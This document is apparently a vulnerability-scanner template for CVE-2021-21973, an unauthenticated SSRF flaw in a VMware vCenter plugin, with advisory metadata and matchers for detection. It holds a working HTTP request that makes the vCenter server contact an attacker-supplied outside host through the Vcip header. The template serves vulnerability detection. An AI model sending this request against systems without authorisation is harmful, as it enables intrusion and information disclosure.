id: CVE-2021-21973

info:
  name: VMware vCenter Unauthenticated SSRF
  author: pdteam
  severity: medium
  description: The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21973
    - https://twitter.com/osama_hroot/status/1365586206982082560
    - https://twitter.com/bytehx343/status/1486582542807420928
    - https://www.vmware.com/security/advisories/VMSA-2021-0002.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-21973
    cwe-id: CWE-918
  tags: cve,cve2021,vmware,ssrf,vcenter,oast,kev

requests:
  - raw:
      - |
        GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
        Host: {{Hostname}}
        Vcip: {{interactsh-url}}
        Vcpassword: {{rand_base(6)}}
        Vcusername: {{rand_base(6)}}
        Reqresource: {{rand_base(6)}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 500

      - type: word
        part: body
        words:
          - "The server sent HTTP status code 200"